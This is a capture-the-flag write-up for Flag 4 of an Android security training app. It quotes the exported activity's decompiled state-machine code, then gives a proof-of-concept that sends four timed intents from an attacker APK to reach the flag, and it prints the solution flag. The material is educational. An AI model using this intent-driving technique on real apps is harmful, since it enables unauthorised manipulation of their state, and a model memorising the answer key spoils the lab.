Static Analysis
AndroidManifest.xml
Upon inspecting the Flag4Activity in the AndroidManifest.xml file we see the following
<activity
android:name="io.hextree.attacksurface.activities.Flag4Activity"
android:exported="true"/>Since exported is set to true we can call this activity from our exploit apk, let’s review the code to see how can we get the flag
Flag4Activity Class
public class Flag4Activity extends AppCompactActivity {
public Flag4Activity() {
this.name = "Flag 4 - State machine";
this.flag = "2ftukoQ59QLkG42FGkCkdyK7+Jwi0uY7QfC2sPyofRcgvI+kzSIwqP0vMJ9fCbRn";
}
public enum State {
INIT(0),
PREPARE(1),
BUILD(2),
GET_FLAG(3),
REVERT(4);
private final int value;
State(int i) {
this.value = i;
}
public int getValue() {
return this.value;
}
public static State fromInt(int i) {
for (State state : values()) {
if (state.getValue() == i) {
return state;
}
}
return INIT;
}
}
@Override // io.hextree.attacksurface.AppCompactActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
this.f = new LogHelper(this);
stateMachine(getIntent());
}
private State getCurrentState() {
return State.fromInt(SolvedPreferences.getInt(getPrefixKey("state")));
}
private void setCurrentState(State state) {
SolvedPreferences.putInt(getPrefixKey("state"), state.getValue());
}
public void stateMachine(Intent intent) {
String action = intent.getAction();
int ordinal = getCurrentState().ordinal();
if (ordinal != 0) {
if (ordinal != 1) {
if (ordinal != 2) {
if (ordinal == 3) {
this.f.addTag(State.GET_FLAG);
setCurrentState(State.INIT);
success(this);
Log.i("Flag4StateMachine", "solved");
return;
}
if (ordinal == 4 && "INIT_ACTION".equals(action)) {
setCurrentState(State.INIT);
Toast.makeText(this, "Transitioned from REVERT to INIT", 0).show();
Log.i("Flag4StateMachine", "Transitioned from REVERT to INIT");
return;
}
} else if ("GET_FLAG_ACTION".equals(action)) {
setCurrentState(State.GET_FLAG);
Toast.makeText(this, "Transitioned from BUILD to GET_FLAG", 0).show();
Log.i("Flag4StateMachine", "Transitioned from BUILD to GET_FLAG");
return;
}
} else if ("BUILD_ACTION".equals(action)) {
setCurrentState(State.BUILD);
Toast.makeText(this, "Transitioned from PREPARE to BUILD", 0).show();
Log.i("Flag4StateMachine", "Transitioned from PREPARE to BUILD");
return;
}
} else if ("PREPARE_ACTION".equals(action)) {
setCurrentState(State.PREPARE);
Toast.makeText(this, "Transitioned from INIT to PREPARE", 0).show();
Log.i("Flag4StateMachine", "Transitioned from INIT to PREPARE");
return;
}
Toast.makeText(this, "Unknown state. Transitioned to INIT", 0).show();
Log.i("Flag4StateMachine", "Unknown state. Transitioned to INIT");
setCurrentState(State.INIT);
}
}Upon inspecting the code we see that we need to send 4 intents:
- Intent with
PREPARE_ACTIONto transition the code toordinal=1 - Intent with
BUILD_ACTIONto transition the code toordinal=2 - Intent with
GET_FLAG_ACTIONto transition the code toordinal=3 - Last intent that will go into the
ordinal=3if condition to get the flag
Creating POC
In our APK we add a button that fires 4 intents one after the other in the order we said before
Button button = findViewById(R.id.button_flag4);
button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Log.v("HEXTREE", "Going to flag 4 activity");
// First, send the "PREPARE_ACTION"
Intent prepareIntent = new Intent();
prepareIntent.setComponent(
new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag4Activity"));
prepareIntent.setAction("PREPARE_ACTION");
startActivity(prepareIntent);
// Wait a short time and then send the "BUILD_ACTION"
new Handler().postDelayed(() -> {
Intent buildIntent = new Intent();
buildIntent.setAction("BUILD_ACTION");
buildIntent.setComponent(
new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag4Activity"));
startActivity(buildIntent);
// Wait a short time and then send the "GET_FLAG_ACTION"
new Handler().postDelayed(() -> {
Intent getFlagIntent = new Intent();
getFlagIntent.setAction("GET_FLAG_ACTION");
getFlagIntent.setComponent(
new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag4Activity"));
startActivity(getFlagIntent);
new Handler().postDelayed(() -> {
Intent finalIntent = new Intent();
finalIntent.setComponent(
new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag4Activity"));
startActivity(finalIntent);
}, 500); // 500ms delay before getting the flag
}, 500); // 500ms delay before GET_FLAG_ACTION
}, 500); // 500ms delay before BUILD_ACTION
}
});Notice we used Handler().postDelayed function so the intents have some time between each one in order to update the state of the code
Flag
Logcat Output (Shows the flow in a good way)

Flag
HXT{sometimes-require-multiple-calls-5133au2}